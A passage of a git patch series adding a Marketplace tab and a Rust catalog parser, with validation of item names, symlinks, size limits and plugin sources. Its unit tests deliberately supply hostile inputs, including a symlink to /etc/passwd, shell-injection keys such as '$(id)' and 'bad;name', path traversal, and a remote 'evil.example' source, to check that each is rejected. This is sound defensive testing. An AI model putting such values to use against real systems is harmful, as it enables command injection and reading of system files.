useAppState.getState().setActiveTabKey(MARKETPLACE_TAB_KEY); + expect(useAppState.getState().selectedProjectId).toBeNull(); + }); + + it("closes and activates the neighbour", () => { + useAppState.getState().openMarketplace(); + useAppState.getState().closeMarketplaceTab(); + const s = useAppState.getState(); + expect(s.tabOrder).toEqual([A, B]); + expect(s.activeTabKey).toBe(B); + }); + + it("closing when not open is a no-op", () => { + useAppState.getState().closeMarketplaceTab(); + expect(useAppState.getState().tabOrder).toEqual([A, B]); + }); +}); diff --git a/app/src/store/appState.ts b/app/src/store/appState.ts index 3216c45..bf2dec3 100644 --- a/app/src/store/appState.ts +++ b/app/src/store/appState.ts @@ -85,6 +85,10 @@ export const isTerminalTab = (key: string) => key.startsWith("term:"); export const isHomeTab = (key: string) => key.startsWith("home:"); export const tabKeyId = (key: string) => key.slice(key.indexOf(":") + 1); +/** The Marketplace view is a singleton main-area tab; its key has no id part. */ +export const MARKETPLACE_TAB_KEY = "marketplace"; +export const isMarketplaceTab = (key: string) => key === MARKETPLACE_TAB_KEY; + /** activeSessionId is derived from the active tab so exactly one thing is "current". */ function activation(activeTabKey: string | null) { return { @@ -160,6 +164,12 @@ interface AppState { requestTerminalFocus: (sessionId: string) => void; clearPendingTerminalFocus: () => void; closeHomeTab: (projectId: string) => void; + /** Project the Marketplace view is filtered to, or null for all projects. */ + marketplaceFilterProjectId: string | null; + setMarketplaceFilterProjectId: (projectId: string | null) => void; + /** Open (or focus) the singleton Marketplace tab, optionally filtered to one project. */ + openMarketplace: (filterProjectId?: string | null) => void; + closeMarketplaceTab: () => void; setActiveTabKey: (key: string) => void; cycleTab: (delta: number) => void; focusTabIndex: (index: number) => void; @@ -386,6 +396,27 @@ export const useAppState = create((set) => ({ : state.activeTabKey; return { tabOrder, ...activation(activeTabKey) }; }), + marketplaceFilterProjectId: null, + setMarketplaceFilterProjectId: (projectId) => set({ marketplaceFilterProjectId: projectId }), + openMarketplace: (filterProjectId = null) => + set((state) => ({ + marketplaceFilterProjectId: filterProjectId, + tabOrder: state.tabOrder.includes(MARKETPLACE_TAB_KEY) + ? state.tabOrder + : [...state.tabOrder, MARKETPLACE_TAB_KEY], + ...activation(MARKETPLACE_TAB_KEY), + })), + closeMarketplaceTab: () => + set((state) => { + const index = state.tabOrder.indexOf(MARKETPLACE_TAB_KEY); + if (index === -1) return {}; + const tabOrder = state.tabOrder.filter((k) => k !== MARKETPLACE_TAB_KEY); + const activeTabKey = + state.activeTabKey === MARKETPLACE_TAB_KEY + ? (tabOrder[Math.min(index, tabOrder.length - 1)] ?? null) + : state.activeTabKey; + return { tabOrder, ...activation(activeTabKey) }; + }), setActiveTabKey: (key) => set((state) => { if (!state.tabOrder.includes(key)) return {}; -- 2.52.0 From 2e62728b0606271a1088b3baa2370cb469335758 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:48:31 -0700 Subject: [PATCH 06/45] Marketplace: repo tree view and catalog parsing Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/lib.rs | 1 + app/src-tauri/src/marketplace/catalog.rs | 947 +++++++++++++++++++++++ app/src-tauri/src/marketplace/mod.rs | 4 + app/src-tauri/src/marketplace/tree.rs | 229 ++++++ 4 files changed, 1181 insertions(+) create mode 100644 app/src-tauri/src/marketplace/catalog.rs create mode 100644 app/src-tauri/src/marketplace/mod.rs create mode 100644 app/src-tauri/src/marketplace/tree.rs diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index 8957f8a..34aea21 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -7,6 +7,7 @@ mod docker; pub mod file_viewer; mod install_helper; mod logging; +mod marketplace; mod models; mod project_lock; mod storage; diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs new file mode 100644 index 0000000..1624582 --- /dev/null +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -0,0 +1,947 @@ +//! Reading a marketplace repo: which items it offers, and the files of one item. +//! +//! Layout (spec §1): `agents/.md`, `skills//SKILL.md`, +//! `commands/.md`, `hooks//hook.json`, and `plugins/` as a standard +//! Claude Code marketplace. Every item is validated here — key pattern, +//! symlinks, size and file-count limits, plugin sources that stay inside +//! `plugins/` — so nothing downstream ever sees a name or a file it would +//! have to distrust. A broken item is listed with its reason; it never stops +//! the rest of the repo from loading. + +use sha2::{Digest, Sha256}; + +use crate::marketplace::tree::{hex, EntryKind, TreeView}; +use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind}; + +pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024; +pub const MAX_ITEM_FILES: usize = 200; +/// Preview text is truncated to this many bytes (on a char boundary). +const MAX_PREVIEW_BYTES: usize = 64 * 1024; + +const PLUGIN_CATALOG_PATH: &str = "plugins/.claude-plugin/marketplace.json"; + +/// Hook events Claude Code understands. A `hook.json` naming anything else is +/// invalid rather than silently ignored by Claude Code at runtime. +const HOOK_EVENTS: &[&str] = &[ + "PreToolUse", + "PostToolUse", + "PostToolUseFailure", + "PermissionRequest", + "Notification", + "UserPromptSubmit", + "SessionStart", + "SessionEnd", + "Stop", + "SubagentStart", + "SubagentStop", + "PreCompact", +]; + +/// One file of an item, path relative to the item root (for single-file +/// items: the file name). +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ItemFile { + pub rel_path: String, + pub data: Vec, + pub executable: bool, +} + +pub fn hook_dir(key: &str) -> String { + format!("/home/claude/.claude/triple-c/hooks/{}", key) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Parsing helpers +// ───────────────────────────────────────────────────────────────────────────── + +/// Minimal YAML front matter: `key: value` lines between leading `---` +/// fences. Returns `(fields, body)`. Quotes around values are stripped. No +/// front matter → no fields, the whole text is the body. +fn front_matter(text: &str) -> (Vec<(String, String)>, &str) { + let rest = match text + .strip_prefix("---\n") + .or_else(|| text.strip_prefix("---\r\n")) + { + Some(rest) => rest, + None => return (Vec::new(), text), + }; + let mut fields = Vec::new(); + let mut offset = 0; + for line in rest.split_inclusive('\n') { + offset += line.len(); + let trimmed = line.trim_end_matches(['\n', '\r']); + if trimmed == "---" { + return (fields, &rest[offset..]); + } + if let Some((k, v)) = trimmed.split_once(':') { + let k = k.trim(); + if !k.is_empty() && !k.starts_with(' ') && !line.starts_with(' ') { + let v = v.trim().trim_matches('"').trim_matches('\'').to_string(); + fields.push((k.to_string(), v)); + } + } + } + // Unterminated front matter: treat the whole file as body. + (Vec::new(), text) +} + +fn field<'a>(fields: &'a [(String, String)], name: &str) -> Option<&'a str> { + fields + .iter() + .find(|(k, _)| k == name) + .map(|(_, v)| v.as_str()) + .filter(|v| !v.is_empty()) +} + +fn truncate_preview(text: &str) -> String { + if text.len() <= MAX_PREVIEW_BYTES { + return text.to_string(); + } + let mut cut = MAX_PREVIEW_BYTES; + while !text.is_char_boundary(cut) { + cut -= 1; + } + format!("{}\n…(truncated)", &text[..cut]) +} + +fn read_utf8(tree: &dyn TreeView, path: &str) -> Result, String> { + match tree.read_file(path)? { + None => Ok(None), + Some(bytes) => String::from_utf8(bytes) + .map(Some) + .map_err(|_| format!("{} is not UTF-8 text", path)), + } +} + +/// The shared reason a key fails [`is_valid_item_key`], used wherever a name +/// (agent/skill/command/hook/plugin key) is rejected so the wording doesn't +/// drift between the three call sites. +fn invalid_name_reason(key: &str) -> String { + format!( + "{:?} is not a valid name (letters, digits, '.', '_' and '-', starting with a letter or digit, at most 64)", + key + ) +} + +/// Normalise a plugin `source` into a path under `plugins/`, refusing +/// anything that is not a plain relative path staying inside `plugins/`. +fn plugin_source_path(source: &serde_json::Value) -> Result { + let source = source.as_str().ok_or_else(|| { + "remote plugin sources are not supported — the plugin must live in this repo's plugins/ folder" + .to_string() + })?; + if source.starts_with('/') || source.contains('\\') || source.contains(':') { + return Err(format!( + "plugin source {:?} must be a relative path inside plugins/", + source + )); + } + let mut parts = Vec::new(); + for part in source.split('/') { + match part { + "" | "." => {} + ".." => { + return Err(format!( + "plugin source {:?} must stay inside plugins/", + source + )); + } + p => parts.push(p), + } + } + if parts.is_empty() { + return Err(format!( + "plugin source {:?} must name a folder inside plugins/", + source + )); + } + Ok(format!("plugins/{}", parts.join("/"))) +} + +fn read_plugin_catalog(tree: &dyn TreeView) -> Result>, String> { + let Some(text) = read_utf8(tree, PLUGIN_CATALOG_PATH)? else { + return Ok(None); + }; + let json: serde_json::Value = serde_json::from_str(&text) + .map_err(|e| format!("{} is not valid JSON: {}", PLUGIN_CATALOG_PATH, e))?; + let plugins = json + .get("plugins") + .and_then(|p| p.as_array()) + .ok_or_else(|| format!("{} has no \"plugins\" array", PLUGIN_CATALOG_PATH))?; + Ok(Some(plugins.clone())) +} + +/// Plugins only: the plugin's entry from `plugins/.claude-plugin/marketplace.json`. +pub fn plugin_catalog_entry(tree: &dyn TreeView, key: &str) -> Result { + let entries = + read_plugin_catalog(tree)?.ok_or_else(|| format!("{} is missing", PLUGIN_CATALOG_PATH))?; + entries + .into_iter() + .find(|e| e.get("name").and_then(|n| n.as_str()) == Some(key)) + .ok_or_else(|| format!("plugin {} is not in {}", key, PLUGIN_CATALOG_PATH)) +} + +/// Repo path of an item: a file for agents/commands, a folder otherwise. +fn item_path(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result { + if !is_valid_item_key(key) { + return Err(invalid_name_reason(key)); + } + Ok(match kind { + ItemKind::Agent => format!("agents/{}.md", key), + ItemKind::Command => format!("commands/{}.md", key), + ItemKind::Skill => format!("skills/{}", key), + ItemKind::Hook => format!("hooks/{}", key), + ItemKind::Plugin => { + let entry = plugin_catalog_entry(tree, key)?; + plugin_source_path(entry.get("source").unwrap_or(&serde_json::Value::Null))? + } + }) +} + +/// Recursively collect a folder's files, enforcing the item rules. +fn collect_dir( + tree: &dyn TreeView, + root: &str, + rel: &str, + out: &mut Vec, + total: &mut u64, +) -> Result<(), String> { + let path = if rel.is_empty() { + root.to_string() + } else { + format!("{}/{}", root, rel) + }; + let entries = tree + .list_dir(&path)? + .ok_or_else(|| format!("{} is not a folder", path))?; + for entry in entries { + let child_rel = if rel.is_empty() { + entry.name.clone() + } else { + format!("{}/{}", rel, entry.name) + }; + match entry.kind { + EntryKind::Symlink => { + return Err(format!( + "contains a symlink ({}), which is not allowed", + child_rel + )); + } + EntryKind::Other => { + return Err(format!( + "contains a submodule or special entry ({})", + child_rel + )); + } + EntryKind::Dir => collect_dir(tree, root, &child_rel, out, total)?, + EntryKind::File => { + let data = tree + .read_file(&format!("{}/{}", root, child_rel))? + .ok_or_else(|| format!("{} vanished while reading", child_rel))?; + *total += data.len() as u64; + if out.len() + 1 > MAX_ITEM_FILES { + return Err(format!("has more than {} files", MAX_ITEM_FILES)); + } + if *total > MAX_ITEM_BYTES { + return Err(format!( + "is larger than {} MiB", + MAX_ITEM_BYTES / (1024 * 1024) + )); + } + out.push(ItemFile { + rel_path: child_rel, + data, + executable: entry.executable, + }); + } + } + } + Ok(()) +} + +/// Kind of the entry at `path`, looked up through its parent listing. +fn entry_kind(tree: &dyn TreeView, path: &str) -> Result, String> { + let (parent, name) = match path.rsplit_once('/') { + Some((p, n)) => (p, n), + None => ("", path), + }; + Ok(tree + .list_dir(parent)? + .and_then(|entries| entries.into_iter().find(|e| e.name == name)) + .map(|e| (e.kind, e.executable))) +} + +/// All files of one item. Err if the item is missing/invalid or breaks the limits. +pub fn item_files(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result, String> { + let path = item_path(tree, kind, key)?; + match kind { + ItemKind::Agent | ItemKind::Command => { + let (entry, executable) = + entry_kind(tree, &path)?.ok_or_else(|| format!("{} is missing", path))?; + match entry { + EntryKind::File => {} + EntryKind::Symlink => { + return Err(format!("{} is a symlink, which is not allowed", path)) + } + _ => return Err(format!("{} is not a regular file", path)), + } + let data = tree + .read_file(&path)? + .ok_or_else(|| format!("{} is missing", path))?; + if data.len() as u64 > MAX_ITEM_BYTES { + return Err(format!( + "is larger than {} MiB", + MAX_ITEM_BYTES / (1024 * 1024) + )); + } + Ok(vec![ItemFile { + rel_path: format!("{}.md", key), + data, + executable, + }]) + } + ItemKind::Skill | ItemKind::Hook | ItemKind::Plugin => { + match entry_kind(tree, &path)? { + Some((EntryKind::Dir, _)) => {} + Some((EntryKind::Symlink, _)) => { + return Err(format!("{} is a symlink, which is not allowed", path)) + } + Some(_) => return Err(format!("{} is not a folder", path)), + None => return Err(format!("{} is missing", path)), + } + let mut out = Vec::new(); + let mut total = 0u64; + collect_dir(tree, &path, "", &mut out, &mut total)?; + let required = match kind { + ItemKind::Skill => Some("SKILL.md"), + ItemKind::Hook => Some("hook.json"), + _ => None, + }; + if let Some(required) = required { + if !out.iter().any(|f| f.rel_path == required) { + return Err(format!("{} has no {}", path, required)); + } + } + Ok(out) + } + } +} + +/// Content fingerprint for update detection: changes iff the item's files or, +/// for plugins, its catalog entry change. `Ok(None)` when the item is absent. +pub fn item_fingerprint( + tree: &dyn TreeView, + kind: ItemKind, + key: &str, +) -> Result, String> { + if kind == ItemKind::Plugin { + let entry = match plugin_catalog_entry(tree, key) { + Ok(entry) => entry, + Err(_) => return Ok(None), + }; + let path = match plugin_source_path(entry.get("source").unwrap_or(&serde_json::Value::Null)) + { + Ok(path) => path, + Err(_) => return Ok(None), + }; + let Some(dir_id) = tree.entry_id(&path)? else { + return Ok(None); + }; + let mut hasher = Sha256::new(); + hasher.update(dir_id.as_bytes()); + hasher.update([0]); + // serde_json's Map is ordered by key (no preserve_order), so this is canonical. + hasher.update(entry.to_string().as_bytes()); + return Ok(Some(hex(&hasher.finalize()))); + } + if !is_valid_item_key(key) { + return Ok(None); + } + let path = item_path(tree, kind, key)?; + tree.entry_id(&path) +} + +fn substitute_hook_dir(value: &mut serde_json::Value, dir: &str) { + match value { + serde_json::Value::String(s) => { + if s.contains("${HOOK_DIR}") { + *s = s.replace("${HOOK_DIR}", dir); + } + } + serde_json::Value::Array(items) => { + items.iter_mut().for_each(|v| substitute_hook_dir(v, dir)) + } + serde_json::Value::Object(map) => { + map.values_mut().for_each(|v| substitute_hook_dir(v, dir)) + } + _ => {} + } +} + +/// Validate a `hooks` object and return the command strings it runs. +fn validate_hooks(hooks: &serde_json::Value) -> Result, String> { + let map = hooks + .as_object() + .ok_or_else(|| "\"hooks\" must be an object keyed by event name".to_string())?; + if map.is_empty() { + return Err("\"hooks\" is empty".to_string()); + } + let mut commands = Vec::new(); + for (event, matchers) in map { + if !HOOK_EVENTS.contains(&event.as_str()) { + return Err(format!("unknown hook event {:?}", event)); + } + let matchers = matchers + .as_array() + .ok_or_else(|| format!("\"{}\" must be an array", event))?; + for matcher in matchers { + let handlers = matcher + .get("hooks") + .and_then(|h| h.as_array()) + .ok_or_else(|| format!("each \"{}\" entry needs a \"hooks\" array", event))?; + for handler in handlers { + let kind = handler.get("type").and_then(|t| t.as_str()).unwrap_or(""); + if kind.is_empty() { + return Err(format!("a \"{}\" hook has no \"type\"", event)); + } + if kind == "command" { + let command = handler + .get("command") + .and_then(|c| c.as_str()) + .filter(|c| !c.trim().is_empty()) + .ok_or_else(|| { + format!("a \"{}\" command hook has no \"command\"", event) + })?; + commands.push(command.to_string()); + } + } + } + } + Ok(commands) +} + +fn read_hook_json(tree: &dyn TreeView, key: &str) -> Result { + let path = format!("hooks/{}/hook.json", key); + let text = read_utf8(tree, &path)?.ok_or_else(|| format!("{} is missing", path))?; + serde_json::from_str(&text).map_err(|e| format!("{} is not valid JSON: {}", path, e)) +} + +/// Hooks only: the parsed `hooks` object with `${HOOK_DIR}` substituted. +pub fn rendered_hook_settings(tree: &dyn TreeView, key: &str) -> Result { + if !is_valid_item_key(key) { + return Err(format!("{:?} is not a valid hook name", key)); + } + let json = read_hook_json(tree, key)?; + let mut hooks = json + .get("hooks") + .cloned() + .ok_or_else(|| format!("hooks/{}/hook.json has no \"hooks\" object", key))?; + validate_hooks(&hooks)?; + substitute_hook_dir(&mut hooks, &hook_dir(key)); + Ok(hooks) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Catalog +// ───────────────────────────────────────────────────────────────────────────── + +fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem { + CatalogItem { + kind, + key: key.to_string(), + name: key.to_string(), + description: String::new(), + path, + invalid: None, + hook_commands: Vec::new(), + preview: String::new(), + } +} + +/// Fill name/description/preview from a markdown file with front matter. +fn describe_markdown(it: &mut CatalogItem, text: &str, first_line_fallback: bool) { + let (fields, body) = front_matter(text); + if let Some(name) = field(&fields, "name") { + it.name = name.to_string(); + } + if let Some(desc) = field(&fields, "description") { + it.description = desc.to_string(); + } else if first_line_fallback { + if let Some(line) = body.lines().map(str::trim).find(|l| !l.is_empty()) { + it.description = line.trim_start_matches('#').trim().to_string(); + } + } + it.preview = truncate_preview(body.trim_start_matches(['\n', '\r'])); +} + +/// Mark `it` invalid when its files break the rules. +fn validate_files(tree: &dyn TreeView, it: &mut CatalogItem) { + if it.invalid.is_some() { + return; + } + if let Err(reason) = item_files(tree, it.kind, &it.key) { + it.invalid = Some(reason); + } +} + +fn parse_single_files( + tree: &dyn TreeView, + kind: ItemKind, + folder: &str, + out: &mut Vec, +) { + let entries = match tree.list_dir(folder) { + Ok(Some(entries)) => entries, + Ok(None) => return, + Err(e) => { + let mut it = item(kind, folder, folder.to_string()); + it.invalid = Some(e); + out.push(it); + return; + } + }; + for entry in entries { + let Some(stem) = entry.name.strip_suffix(".md") else { + continue; + }; + let mut it = item(kind, stem, format!("{}/{}", folder, entry.name)); + if !is_valid_item_key(stem) { + it.invalid = Some(invalid_name_reason(stem)); + out.push(it); + continue; + } + match entry.kind { + EntryKind::File => match read_utf8(tree, &it.path) { + Ok(Some(text)) => describe_markdown(&mut it, &text, kind == ItemKind::Command), + Ok(None) => it.invalid = Some(format!("{} is missing", it.path)), + Err(e) => it.invalid = Some(e), + }, + EntryKind::Symlink => { + it.invalid = Some(format!("{} is a symlink, which is not allowed", it.path)) + } + _ => it.invalid = Some(format!("{} is not a regular file", it.path)), + } + validate_files(tree, &mut it); + out.push(it); + } +} + +fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Vec) { + let entries = match tree.list_dir(folder) { + Ok(Some(entries)) => entries, + Ok(None) => return, + Err(e) => { + let mut it = item(kind, folder, folder.to_string()); + it.invalid = Some(e); + out.push(it); + return; + } + }; + for entry in entries { + if entry.kind == EntryKind::File { + continue; // e.g. a README.md next to the item folders + } + let mut it = item(kind, &entry.name, format!("{}/{}", folder, entry.name)); + if !is_valid_item_key(&entry.name) { + it.invalid = Some(invalid_name_reason(&entry.name)); + out.push(it); + continue; + } + if entry.kind == EntryKind::Symlink { + it.invalid = Some(format!("{} is a symlink, which is not allowed", it.path)); + out.push(it); + continue; + } + match kind { + ItemKind::Skill => match read_utf8(tree, &format!("{}/SKILL.md", it.path)) { + Ok(Some(text)) => describe_markdown(&mut it, &text, false), + Ok(None) => it.invalid = Some(format!("{} has no SKILL.md", it.path)), + Err(e) => it.invalid = Some(e), + }, + ItemKind::Hook => match read_hook_json(tree, &entry.name) { + Ok(json) => { + if let Some(name) = json + .get("name") + .and_then(|n| n.as_str()) + .filter(|n| !n.is_empty()) + { + it.name = name.to_string(); + } + if let Some(desc) = json.get("description").and_then(|d| d.as_str()) { + it.description = desc.to_string(); + } + match rendered_hook_settings(tree, &entry.name) { + Ok(hooks) => match validate_hooks(&hooks) { + Ok(commands) => it.hook_commands = commands, + Err(e) => it.invalid = Some(e), + }, + Err(e) => it.invalid = Some(e), + } + } + Err(e) => it.invalid = Some(e), + }, + _ => {} + } + validate_files(tree, &mut it); + out.push(it); + } +} + +fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { + let entries = match read_plugin_catalog(tree) { + Ok(Some(entries)) => entries, + Ok(None) => return, + Err(e) => { + let mut it = item(ItemKind::Plugin, "catalog", PLUGIN_CATALOG_PATH.to_string()); + it.name = PLUGIN_CATALOG_PATH.to_string(); + it.invalid = Some(e); + out.push(it); + return; + } + }; + for entry in entries { + let key = entry + .get("name") + .and_then(|n| n.as_str()) + .unwrap_or("") + .to_string(); + let mut it = item(ItemKind::Plugin, &key, PLUGIN_CATALOG_PATH.to_string()); + if let Some(desc) = entry.get("description").and_then(|d| d.as_str()) { + it.description = desc.to_string(); + } + if !is_valid_item_key(&key) { + it.invalid = Some(format!("plugin name {:?} is not a valid name", key)); + out.push(it); + continue; + } + match plugin_source_path(entry.get("source").unwrap_or(&serde_json::Value::Null)) { + Ok(path) => { + it.path = path.clone(); + if let Ok(Some(children)) = tree.list_dir(&path) { + it.preview = children + .iter() + .map(|c| { + if c.kind == EntryKind::Dir { + format!("{}/", c.name) + } else { + c.name.clone() + } + }) + .collect::>() + .join("\n"); + } + } + Err(e) => it.invalid = Some(e), + } + validate_files(tree, &mut it); + out.push(it); + } +} + +/// Parse every item in the repo. Never fails as a whole; broken items carry `invalid`. +/// Order: agents, skills, commands, hooks, plugins; each in listing order. +pub fn parse_catalog(tree: &dyn TreeView) -> Vec { + let mut out = Vec::new(); + parse_single_files(tree, ItemKind::Agent, "agents", &mut out); + parse_folders(tree, ItemKind::Skill, "skills", &mut out); + parse_single_files(tree, ItemKind::Command, "commands", &mut out); + parse_folders(tree, ItemKind::Hook, "hooks", &mut out); + parse_plugins(tree, &mut out); + out +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::marketplace::tree::MemTree; + + const HOOK_JSON: &str = r#"{ + "name": "notify-on-stop", + "description": "Ping when Claude stops", + "hooks": { "Stop": [ { "hooks": [ { "type": "command", "command": "${HOOK_DIR}/notify.sh" } ] } ] } + }"#; + + const PLUGIN_CATALOG: &str = r#"{ + "name": "example", + "owner": { "name": "t" }, + "plugins": [ + { "name": "example-plugin", "source": "./example-plugin", "description": "Adds a skill" } + ] + }"#; + + fn full_repo() -> MemTree { + MemTree::new() + .file("README.md", "# repo") + .file( + "agents/code-reviewer.md", + "---\nname: code-reviewer\ndescription: Reviews diffs\n---\nYou review code.\n", + ) + .file( + "skills/example-skill/SKILL.md", + "---\nname: example-skill\ndescription: \"Says hi\"\n---\nSay hi.\n", + ) + .file("skills/example-skill/ref/notes.md", "notes") + .file( + "commands/example-command.md", + "# Summarise the branch\n\nDo it.\n", + ) + .file("hooks/notify-on-stop/hook.json", HOOK_JSON) + .exec_file("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n") + .file("plugins/.claude-plugin/marketplace.json", PLUGIN_CATALOG) + .file( + "plugins/example-plugin/.claude-plugin/plugin.json", + r#"{"name":"example-plugin"}"#, + ) + .file( + "plugins/example-plugin/skills/hello/SKILL.md", + "---\nname: hello\n---\nhi", + ) + } + + #[test] + fn parses_every_kind() { + let items = parse_catalog(&full_repo()); + let summary: Vec<_> = items + .iter() + .map(|i| (i.kind, i.key.as_str(), i.invalid.as_deref())) + .collect(); + assert_eq!( + summary, + vec![ + (ItemKind::Agent, "code-reviewer", None), + (ItemKind::Skill, "example-skill", None), + (ItemKind::Command, "example-command", None), + (ItemKind::Hook, "notify-on-stop", None), + (ItemKind::Plugin, "example-plugin", None), + ] + ); + assert_eq!(items[0].description, "Reviews diffs"); + assert_eq!(items[0].preview, "You review code.\n"); + assert_eq!(items[1].description, "Says hi"); + assert_eq!(items[2].description, "Summarise the branch"); + assert_eq!(items[3].name, "notify-on-stop"); + assert_eq!( + items[3].hook_commands, + vec!["/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh".to_string()] + ); + assert_eq!(items[4].path, "plugins/example-plugin"); + assert_eq!(items[4].preview, ".claude-plugin/\nskills/"); + } + + #[test] + fn an_empty_repo_has_no_items() { + assert!(parse_catalog(&MemTree::new().file("README.md", "x")).is_empty()); + } + + #[test] + fn name_falls_back_to_the_file_stem() { + let t = MemTree::new().file("agents/plain.md", "no front matter here"); + let items = parse_catalog(&t); + assert_eq!(items[0].name, "plain"); + assert_eq!(items[0].description, ""); + assert!(items[0].invalid.is_none()); + } + + #[test] + fn rejects_symlink_items() { + let t = MemTree::new() + .symlink("agents/evil.md", "/etc/passwd") + .file("skills/s/SKILL.md", "x") + .symlink("skills/s/link", "../../..") + .symlink("hooks/h", "../skills/s"); + let items = parse_catalog(&t); + assert_eq!(items.len(), 3); + for it in &items { + let reason = it + .invalid + .as_deref() + .unwrap_or_else(|| panic!("{} should be invalid", it.key)); + assert!(reason.contains("symlink"), "{}: {}", it.key, reason); + } + assert!(item_files(&t, ItemKind::Skill, "s").is_err()); + } + + #[test] + fn rejects_escaping_plugin_source() { + for source in [ + r#""../outside""#, + r#""./a/../../b""#, + r#""/abs""#, + r#""https://evil.example/x.git""#, + r#"{"source":"github","repo":"x/y"}"#, + r#""""#, + ] { + let catalog = format!(r#"{{"plugins":[{{"name":"p","source":{}}}]}}"#, source); + let t = MemTree::new() + .file("plugins/.claude-plugin/marketplace.json", &catalog) + .file("plugins/p/x.md", "x") + .file("outside/x.md", "x"); + let items = parse_catalog(&t); + assert!( + items[0].invalid.is_some(), + "source {} should be refused", + source + ); + assert!(item_files(&t, ItemKind::Plugin, "p").is_err()); + } + } + + #[test] + fn rejects_bad_keys() { + let t = MemTree::new() + .file("agents/-rf.md", "x") + .file("agents/a b.md", "x") + .file("skills/$(id)/SKILL.md", "x") + .file( + "plugins/.claude-plugin/marketplace.json", + r#"{"plugins":[{"name":"bad;name","source":"./p"}]}"#, + ) + .file("plugins/p/x", "x"); + let items = parse_catalog(&t); + assert_eq!(items.len(), 4); + assert!(items.iter().all(|i| i.invalid.is_some()), "{:?}", items); + assert!(item_files(&t, ItemKind::Agent, "-rf").is_err()); + assert!(item_files(&t, ItemKind::Skill, "$(id)").is_err()); + assert!(item_files(&t, ItemKind::Agent, "../x").is_err()); + } + + #[test] + fn enforces_item_limits() { + let mut many = MemTree::new().file("skills/big/SKILL.md", "x"); + for i in 0..MAX_ITEM_FILES { + many = many.file(&format!("skills/big/f{}.txt", i), "x"); + } + let err = item_files(&many, ItemKind::Skill, "big").unwrap_err(); + assert!(err.contains("more than 200 files"), "{}", err); + + let huge = "x".repeat(MAX_ITEM_BYTES as usize + 1); + let t = MemTree::new().file("agents/huge.md", &huge); + assert!(item_files(&t, ItemKind::Agent, "huge") + .unwrap_err() + .contains("larger than 2 MiB")); + assert!(parse_catalog(&t)[0].invalid.is_some()); + } + + #[test] + fn hooks_must_name_known_events_and_commands() { + let t = MemTree::new() + .file( + "hooks/a/hook.json", + r#"{"hooks":{"NotAnEvent":[{"hooks":[{"type":"command","command":"x"}]}]}}"#, + ) + .file( + "hooks/b/hook.json", + r#"{"hooks":{"Stop":[{"hooks":[{"type":"command"}]}]}}"#, + ) + .file("hooks/c/hook.json", "not json") + .file("hooks/d/other.txt", "no hook.json"); + let items = parse_catalog(&t); + assert_eq!(items.len(), 4); + assert!(items[0] + .invalid + .as_deref() + .unwrap() + .contains("unknown hook event")); + assert!(items[1] + .invalid + .as_deref() + .unwrap() + .contains("no \"command\"")); + assert!(items[2] + .invalid + .as_deref() + .unwrap() + .contains("not valid JSON")); + assert!(items[3].invalid.as_deref().unwrap().contains("missing")); + } + + #[test] + fn broken_plugin_catalog_is_one_invalid_entry() { + let t = MemTree::new() + .file("agents/ok.md", "x") + .file("plugins/.claude-plugin/marketplace.json", "{"); + let items = parse_catalog(&t); + assert_eq!(items.len(), 2); + assert!(items[0].invalid.is_none()); + assert!(items[1] + .invalid + .as_deref() + .unwrap() + .contains("not valid JSON")); + } + + #[test] + fn item_files_are_relative_to_the_item_and_keep_exec_bits() { + let t = full_repo(); + let agent = item_files(&t, ItemKind::Agent, "code-reviewer").unwrap(); + assert_eq!(agent.len(), 1); + assert_eq!(agent[0].rel_path, "code-reviewer.md"); + + let hook = item_files(&t, ItemKind::Hook, "notify-on-stop").unwrap(); + let names: Vec<_> = hook + .iter() + .map(|f| (f.rel_path.as_str(), f.executable)) + .collect(); + assert_eq!(names, vec![("hook.json", false), ("notify.sh", true)]); + + let skill = item_files(&t, ItemKind::Skill, "example-skill").unwrap(); + assert!(skill.iter().any(|f| f.rel_path == "ref/notes.md")); + + let plugin = item_files(&t, ItemKind::Plugin, "example-plugin").unwrap(); + assert!(plugin.iter().any(|f| f.rel_path == "skills/hello/SKILL.md")); + } + + #[test] + fn fingerprint_tracks_the_item_only() { + let a = full_repo(); + let b = full_repo().file("agents/code-reviewer.md", "changed"); + for (kind, key) in [ + (ItemKind::Skill, "example-skill"), + (ItemKind::Hook, "notify-on-stop"), + (ItemKind::Plugin, "example-plugin"), + ] { + assert_eq!( + item_fingerprint(&a, kind, key).unwrap(), + item_fingerprint(&b, kind, key).unwrap() + ); + } + assert_ne!( + item_fingerprint(&a, ItemKind::Agent, "code-reviewer").unwrap(), + item_fingerprint(&b, ItemKind::Agent, "code-reviewer").unwrap() + ); + assert_eq!( + item_fingerprint(&a, ItemKind::Agent, "absent").unwrap(), + None + ); + } + + #[test] + fn plugin_fingerprint_changes_with_its_catalog_entry() { + let a = full_repo(); + let b = full_repo().file( + "plugins/.claude-plugin/marketplace.json", + &PLUGIN_CATALOG.replace("Adds a skill", "Adds two skills"), + ); + assert_ne!( + item_fingerprint(&a, ItemKind::Plugin, "example-plugin").unwrap(), + item_fingerprint(&b, ItemKind::Plugin, "example-plugin").unwrap() + ); + } + + #[test] + fn hook_settings_are_rendered_with_the_install_dir() { + let hooks = rendered_hook_settings(&full_repo(), "notify-on-stop").unwrap(); + assert_eq!( + hooks["Stop"][0]["hooks"][0]["command"], + "/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh" + ); + assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x"); + } + + #[test] + fn plugin_catalog_entry_is_returned_verbatim() { + let entry = 